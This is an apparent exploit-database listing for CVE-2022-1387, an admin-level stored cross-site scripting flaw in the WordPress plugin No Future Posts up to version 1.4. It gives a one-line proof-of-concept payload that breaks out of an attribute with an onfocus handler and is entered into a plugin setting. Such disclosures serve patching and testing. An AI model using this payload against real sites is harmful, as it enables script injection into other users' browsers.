Exploit for No Future Posts <= 1.4 - Admin+ Stored Cross-Site Scripting CVE-2022-1387

Name: Exploit for No Future Posts <= 1.4 - Admin+ Stored Cross-Site Scripting CVE-2022-1387
Rating: 5 (59 reviews)

2022-05-09 | CVSS 3.5

## https://sploitus.com/exploit?id=WPEX-ID:48252FFB-F21C-4E2A-8F78-BDC7164E7347
Put the following payload in any of the plugin's settings (such as Exclude posts IDs) and save: " autofocus onfocus=alert(/XSS/)//